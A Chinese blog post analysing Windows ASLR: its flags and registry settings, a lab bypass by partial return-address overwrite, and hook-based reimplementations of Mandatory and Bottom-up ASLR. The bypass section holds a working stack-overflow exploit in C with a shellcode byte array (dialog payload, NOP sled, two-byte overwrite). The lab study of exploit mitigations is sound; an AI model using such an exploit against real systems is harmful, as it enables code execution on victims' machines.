首页 > 其他分享 >ASLR机制分析报告

ASLR机制分析报告

时间:2024-03-02 23:34:37浏览次数:29  
标签:x90 ASLR 报告 随机化 x8B 地址 机制 加载

ASLR机制分析报告

ASLR机制概述

​ Windows Vista之后,ASLR(Address Space Layout Randomization)技术就是通过加载程序的时候不再使用固定的基址加载,从而干扰 shellcode 定位的一种保护机制

ASLR机制的开启

​ 项目->属性->链接器->高级->随机基址/DYNAMICBASE编译选项

image-20240302223803931

PE文件标识

未开启ASLR的PE文件:FileHeader有IMAGE_FILE_RELOCS_STRIPPED标志,没有重定位表,不具有IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE标志

image-20240302223822413

image-20240302223842532

已开启ASLR的PE文件:FileHeader没有IMAGE_FILE_RELOCS_STRIPPED标志,具有重定位表,具有IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE标志

image-20240302223906949

image-20240302223919854

ASLR的随机化

映像随机化

​ 映像随机化是在 PE 文件映射到内存时,对其加载的虚拟地址进行随机化处理,这个地址是在系统启动时确定的,系统重启后这个地址会变化

开启映像随机化

​ 通过设置注册表中HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\MoveImages 的键值来设定映像随机化的工作模式。

  • 设置为 0 时映像随机化将禁用。

  • 设置为−1 时强制对可随机化的映像进行处理,无论是否设置 IMAGE_DLL_ CHARACTERISTICS_DYNAMIC_BASE 标识。

  • 设置为其他值时为正常工作模式,只对具有随机化处理标识的映像进行处理

    注意:如果注册表中不存在 MoveImages,可以手工建立名称为 MoveImages,类型为 DWORD 的值,并根据需要设置它的值

堆栈随机化

​ 在程序运行时随机的选择堆栈的基址,与映像基址随机化不同的是堆栈的基址 不是在系统启动的时候确定的,而是在打开程序的时候确定的,也就是说同一个程序任意两次 运行时的堆栈基址都是不同的,进而各变量在内存中的位置也就是不确定的

PEB 与 TEB 随机化

​ 微软在 XP SP2 之后不再使用固 定的 PEB 基址 0x7FFDF000 和 TEB 基址 0x7FFDE000,而是使用具有一定随机性的基址

绕过ASLR

1.利用部分覆盖进行定位内存地址

​ 映像随机化只是对映像加载基址的前 2 个字节做随机化处理,所以只覆盖这个地址的最后一个字节,或者最后两个字节,那么就可以在一定范围内控制程序了

实验环境

环境 环境设置
操作系统 Windows 7
编译器 VS 2008
编译选项 开启ASLR,禁用优化选项,禁用GS,禁用SDL检查,禁用DEP

绕过思路

​ 利用栈溢出覆盖函数返回地址。复制结束后,test 函数返回 tt 字符数组的首地址。在相对程序加载基址 0x0000~0xFFFF 的范围内,找到一条跳板指令,并用它地址的后 2 个字节覆盖返回地址的后两个字节。 采用这种类似“相对寻址”的方法来动态确定跳板指令的地址,以实现跳板指令的通用性

实验过程

  1. 计算填充多少个字节才能覆盖到返回地址。通过计算发现复制字符串长度超过 260 个字节时就会覆盖返回地址,所以使用 261~262 这两 个字节来覆盖返回地址的后两位

    image-20240302225115381

  2. 寻找合适的跳板指令,由于是部分覆盖,所以 shellcode 只在返回地址的前面,即不能再使用JMP ESP 。需要一条往低地址方向跳的指令,观察寄存器发现EAX 符合要求,EAX 被溢出字符的起始地址,所以只要在当前内存范围内找到条 CALL/JMP EAX 的指令就可以跳转到 shellcode 中执行了

    利用OllyFindAddr 插件,通过 Overwrite return address→Find CALL/JMP EAX 选项在当前内 存范围内查找 CALL/JMP EAX 指令,选择0x0012B1967

    image-20240302225131834

  3. 构造shellcode,前170个字节为弹出对话框的指令,中间填充90个字节的0x90指令,最后2个字节填充0x19,0x67

  4. 整体代码如下:

#include<stdio.h>
#include<tchar.h>
#include <string.h>
#include <windows.h>
char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09"
"\x8B\x09" //在这增加机器码\x8B\x09,它对应的汇编为mov ecx,[ecx]
"\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x67\x19"
;
char * test()
{
	char tt[256];
	memcpy(tt,shellcode,262);
	_asm INT 3
	return tt;	
}
int _tmain(int argc, _TCHAR* argv[])
{
	char temp[200];
	test();
	return 0;
}

测试结果

image-20240302225336042

MandatoryASLR机制

MandatoryASLR概述

​ 强制地址空间布局随机化(Mandatory Address Space Layout Randomization / Force randomization for images),通过随机化模块加载到内存中的位置,以此来限制攻击者预先确定内存地址的能力。

​ 可执行映程序(DLL/EXE) 必须通过/DYNAMICBASE链接选项指示它们希望由 ASLR 随机化。如果可执行映像尚未与 /DYNAMICBASE 链接,则 Windows 内核将尝试在其首选基址加载该映像。这可能导致可执行文件在内存中的可预测位置进行加载。Windwos 8之后,可选择启用MandatoryASLR,此功能会在应用程序加载所有可重定位映像时强制随机化基地址,包括那些尚未与 /DYNAMICBASE 链接的映像。可防止在内存中的可预测位置加载可执行映像。

MandatoryASLR的开启

​ Windows Defender->应用和浏览器控制->Exploit Protection->强制性ASLR

image-20240302225353092

MandatoryASLR的实现

1.进程加载的过程(此处仅分析内存加载)

​ 分析可知ASLR的实现主要与MmMapViewOfSection函数有关,设置该函数的参数即可设置加载的地址。

分析过程如下

1.在MmCreateProcessAddressSpace中调用MmCreateSection->MiCreateImageFileMap,设置Segment的BasedAddress(预设基地址)

NewSegment->BasedAddress = (PVOID) NextVa;//NextVa即为0x400000

2.在MmInitializeProcessAddressSpace调用MmMapViewOfSection(即将进程映射到设置的地址处):

BaseAddress = NULL;
ViewSize = 0;
ZERO_LARGE (SectionOffset);
Status = MmMapViewOfSection ((PSECTION)SectionToMap,
                             ProcessToInitialize,
                             &BaseAddress,
                             0,
                             0,
                             &SectionOffset,
                             &ViewSize,
                             ViewShare,
                             0,
                             PAGE_READWRITE);

3.在MmMapViewOfSection中调用MiMapViewOfImageSection,在其中根据所传入的BaseAddress和SectionOffset设置StartingAddress(即进程实际加载的基地址)
1)若传入BaseAddress不为空,根据传入的参数设置映射基地址

StartingAddress = MI_64K_ALIGN(*CapturedBase);
EndingAddress = (PVOID)(((ULONG_PTR)StartingAddress + *CapturedViewSize - 1) | (PAGE_SIZE - 1));

2)若传入BaseAddress为空

StartingAddress = (PVOID)((ULONG_PTR)BasedAddress + (ULONG_PTR)MI_64K_ALIGN(SectionOffset->LowPart));
EndingAddress = (PVOID)(((ULONG_PTR)StartingAddress + *CapturedViewSize - 1) | (PAGE_SIZE - 1));

4.回到MmInitializeProcessAddressSpace函数中,对EPROCESS.SectionBaseAddress进行赋值:

ProcessToInitialize->SectionBaseAddress = BaseAddress;

5.在MmCreatePeb函数中:设置PEB中的进程加载地址

PebBase->ImageBaseAddress = TargetProcess->SectionBaseAddress;

6.在LdrpInitializeProcess函数中将预设基地址与进程实际加载的基地址进行比对,如果不一致需要进行重定位

if ((PVOID)NtHeader->OptionalHeader.ImageBase != Peb->ImageBaseAddress) {
	PVOID ViewBase;
	ViewBase = Peb->ImageBaseAddress;
	st = LdrpSetProtection (ViewBase, FALSE);
   	st = LdrRelocateImage (ViewBase,
                           "LDR",
                           STATUS_SUCCESS,
                           STATUS_CONFLICTING_ADDRESSES,
}

在LoadLibrary系列函数中也是一样:

image-20240302232136262

2.MandatoryASLR代码实现

​ 对NtMapViewOfSection进行InlineHook,当应用程序调用NtMapViewOfSection时,判断其返回值,查询所申请的地址是否需要重新加载,若需要重新加载,调用NtUnmapViewofSection解除映射,再调用NtMapViewOfSection将模块重新映射到随机地址处

  1. 对NtMapViewOfSection进行InlineHook
  2. 调用VirtualQuery查询该模块基地址的信息
  3. 如果具有IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE标志(代表该PE文件已开启ASLR机制)且模块加载地址和预设基地址一样,该模块需要重新被加载到随机的基地址处

整体代码如下:

DWORD MandatoryASLR(PHOOKINFO HookInfo) {
	DWORD dwRet = 0;
	//NtMapViewOfSection
	if (HookInfo->dwIndexApi - 50) {
		dwRet = Proxy_ApiCaller(HookInfo->dwArgc, HookInfo->dwArgAddr, HookInfo->dwTrueApiAddr);
		//dwRet == STATUS_SUCCESS或STATUS_IMAGE_NOT_AT_BASE
		if (dwRet == 0 || dwRet == 0x40000003) {
			MEMORY_BASIC_INFORMATION MemInfo = { 0 };
			PVOID BaseAddr = (PVOID)*(HookInfo->ApiArg + 2);
			SIZE_T ViewSize = (SIZE_T)*(HookInfo->ApiArg + 6);
			if (VirtualQuery(BaseAddr, &MemInfo, sizeof(MEMORY_BASIC_INFORMATION))) {
				if (MemInfo.Type == MEM_IMAGE && IsReloadNeeded((DWORD_PTR)BaseAddr)) {
					HANDLE hProcess = (HANDLE)*(HookInfo->ApiArg + 1);
					NTUNMAPVIEWOFSECTION pNtUnmapViewofSection = (NTUNMAPVIEWOFSECTION)GetProcAddress(GetModuleHandle(_T("ntdll.dll")), "NtUnmapViewofSection");
					pNtUnmapViewofSection(hProcess, BaseAddr);
					proxy_NtAllocateVirtualMemory(BaseAddr, ViewSize);//占坑
					dwRet = Proxy_ApiCaller(HookInfo->dwArgc, HookInfo->dwArgAddr, HookInfo->dwTrueApiAddr);
				}
			}
		}
	}
	//NtUnmapViewOfSection
	else {
		dwRet = Proxy_ApiCaller(HookInfo->dwArgc, HookInfo->dwArgAddr, HookInfo->dwTrueApiAddr);
	}

	return dwRet;
}

BOOL IsReloadNeeded(DWORD_PTR ModuleBase) {
	IMAGE_DOS_HEADER* ImageDosHeader = NULL;
	IMAGE_OPTIONAL_HEADER*  ImageOptionalHeader = NULL;
	PIMAGE_EXPORT_DIRECTORY ImageExportDirectory;
	ImageDosHeader = (IMAGE_DOS_HEADER *)ModuleBase;
	ImageOptionalHeader = (IMAGE_OPTIONAL_HEADER*)((BYTE*)ModuleBase + ImageDosHeader->e_lfanew + 24);
	
	WORD wDllCharacteristics = 0;
	DWORD dwImageBase = 0;
	if (ImageOptionalHeader->Magic == PE32) {
		wDllCharacteristics = ImageOptionalHeader->DllCharacteristics;
		dwImageBase = ImageOptionalHeader->ImageBase;
	}
	else {
		if (ImageOptionalHeader->Magic != PE64) {
			return 0;
		}
		wDllCharacteristics = ImageOptionalHeader->DllCharacteristics;
		dwImageBase = ImageOptionalHeader->ImageBase;
	}
	//如果具有IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE标志,代表该PE文件已开启ASLR机制
	if ((wDllCharacteristics & IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) == 0 && (DWORD)ModuleBase == dwImageBase) {
		return FALSE;
	}
	
	return TRUE;
}

BottomUpASLR机制

BottomUpASLR概述

​ 由低而上的地址空间布局随机化(Bottom-up randomization)通过随机化自下而上分配的基地址(包括堆、栈和其他内存分配)来增强强制性地址空间布局随机化(MandatoryASLR)的缓解性(Mitigation)。

​ 在 Windows 8 之前,自下而上和自上而下的分配不是由 ASLR 随机分配的。即通过VirtualAlloc和MapViewOfFile等函数进行的分配没有熵,因此可以放置在内存中的可预测位置(除非是非确定性应用程序行为)。虽然某些内存区域有自己的基本随机化,例如堆、堆栈、TEB 和 PEB,但所有其他自下而上和自上而下的分配都不是随机化的。

​ 从 Windows 8 开始,所有自下而上和自上而下分配的基址都是显式随机化的。这是通过随机化自下而上和自上而下分配从给定进程开始的地址来实现的。通过这种方式,地址空间内的碎片最小化,同时还实现了随机化所有未显式基于的内存分配的基址的好处

BottomUpASLR的开启

​ Windows Defender->应用和浏览器控制->Exploit Protection->自下而上ASLR

image-20240302232205855

BottomUpASLR的实现

​ BottomUpASLR的实现主要与NtAllocateVirtualMemory有关,一般分配内存的函数都会调用NtAllocateVirtualMemory,所以在调用该函数之前设置随机熵,提前分配自下而上的内存

整体代码如下

DWORD BottomUpASLR() {
	DWORD dwPid = GetCurrentProcessId();
	DWORD dwSeed = GetTickCount() ^ dwPid;
	RTLRANDOM pRtlRandom = (RTLRANDOM)GetProcAddress(GetModuleHandle(_T("ntdll.dll")), "RtlRandom");
	DWORD dwRandomVal = pRtlRandom(&dwSeed);
	while (dwRandomVal) {
		proxy_NtAllocateVirtualMemory(0, 0x10000);
		dwRandomVal--;
	}
	return 0;
}
DWORD proxy_NtAllocateVirtualMemory(PVOID BaseAddr_, SIZE_T RegionSize_) {
	PVOID BaseAddr = BaseAddr_;
	SIZE_T RegionSize = RegionSize_;
	NTALLOCATEVIRTUALMEMORY pNtAllocateVirtualMemory = (NTALLOCATEVIRTUALMEMORY)GetProcAddress(GetModuleHandle(_T("ntdll.dll")), "NtAllocateVirtualMemory");
	return pNtAllocateVirtualMemory(GetCurrentProcess(), &BaseAddr, 0, &RegionSize, MEM_RESERVE, PAGE_NOACCESS);
}

参考

博客

VAD(Virtual Address Descriptor)虚拟地址描述符 - revercc - 博客园 (cnblogs.com)

VirtualAlloc function (memoryapi.h) - Win32 apps |微软文档 (microsoft.com)

NtAllocateVirtualMemory 函数 (ntifs.h) - Windows drivers | Microsoft Docs

(73条消息) EPROCESS 结构体属性介绍_hambaga的博客-CSDN博客

​ [分享]调戏:自建ASLR机制-软件逆向-看雪论坛-安全社区|安全招聘|bbs.pediy.com

KPROCESS IDT PEB Ldr 《寒江独钓》内核学习笔记(3) - 郑瀚Andrew.Hann - 博客园 (cnblogs.com)

标签:x90,ASLR,报告,随机化,x8B,地址,机制,加载
From: https://www.cnblogs.com/XiuzhuKirakira/p/18049457

相关文章

  • DEP机制分析报告
    DEP机制分析报告DEP概述​ 数据执行保护(DataExecutionPrevention),将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。DEP的工作状态Optin:默认仅将DEP保护应用于Windows系......
  • 为什么要使用Java SPI机制
    JavaSPI(ServiceProviderInterface)最早是在JavaSE6中被引入的,作为一种标准的、用于在运行时发现和加载服务提供者插件的标准机制。以前的程序猿实现JDBC连接数据库都会自己写工具类加载不同厂商的驱动来实现数据库操作,但是随着JDBC4.0之后采用了JavaSPI机制,这部分工作就变的......
  • SafeSEH机制分析报告
    SafeSEH机制分析报告SafeSEH概述​ WindowsXPSP2之后提出,在程序调用异常处理函数前,对要调用的异常处理函数进行一系列的有效性校验,当发现异常处理函数不可靠时将终止异常处理函数的调用​ 当开启SafeSEH链接选项时,将异常处理信息存放在IMAGE_LOAD_CONFIG_DIRECTORY的SEHHand......
  • 什么是自注意力机制?
    自注意力机制(Self-AttentionMechanism)是一种在自然语言处理和计算机视觉等领域中广泛使用的技术,它可以帮助模型在处理序列数据时更好地理解上下文信息。在自注意力机制中,输入序列被表示为一组向量(比如说在自然语言处理中,可以将一句话中的每个单词表示为一个向量),每个向量都被称为......
  • 3.1~3.10解题报告
    [cf1525E]AssimilationIV依据题面,可以知道每个点只会被计算一次,所以可以从点出发,求每个点被覆盖的概率,正着计算会有很多重复,所以考虑先算出不可能的情况,在与1作差,很明显,若所有城市到点A的距离都小于n,则一定成立,如果有一个不满足,则若此城市第一个放置,就要分两种情况,若其余距离均......
  • Java双亲委派机制
    Java双亲委派机制首先得了解一下JVM和ClassLoaderJVM当前主流的有三种JVM:Sun公司:HotSpotBEA:JRockitIBM:J9VM首先了解一下Java程序从编译到执行的整个生命周期:.java(经过javac.exe编译成class文件)=>.class(经过类加载器ClassLoader,具体过程有加载、链接、初始化)=>......
  • 【计算机网络】数据链路层——流量控制&可靠传输机制
    数据链路层的流量控制较高的发送速度和较低的接收能力的不匹配,会造成传输出错,因此流量控制也是数据链路层的一项重要工作。数据链路层的流量控制是点对点的,而传输层的流量控制是端到端的。数据链路层流量控制手段:接收方收不下就不回复确认。传输层流量控制手段:接收端给发送......
  • 【专题】中国智能汽车产业发展与展望报告PDF合集分享(附原数据表)
    原文链接:https://tecdat.cn/?p=34111随着新一轮技术革命和产业变革的推动,以及国家政策的大力扶持,电动化、智能化、网联化已经成为汽车行业发展的新趋势。在这种背景下,各大企业纷纷争夺数字化人才,以推动产品的规模化落地和商业化创新应用。阅读原文,获取专题报告合集全文,解锁文末53......
  • 【专题】2024中国ESG消费报告PDF合集分享(附原数据表)
    原文链接:https://tecdat.cn/?p=35253原文出处:拓端数据部落公众号消费者展现出了既有不变的坚持也有变化的需求。他们一直期望企业或品牌能够通过可持续产品与他们进行价值对话,例如产品配方的环境友好性、包装更新对生态利益的照顾以及循环再造的可能性等。这些具有可持续价值的......
  • Python变量的缓存机制
    当然,我会帮你整理这些Python代码并转化为Markdown格式的笔记。以下是你的Markdown笔记:Python变量的缓存机制在Python3.6版本中,对于某些类型的变量,如果它们的值相同,那么它们在内存中的地址(即它们的id)也可能相同。这种现象称为变量的缓存机制。1.整型对于整型而言,-5到正无穷......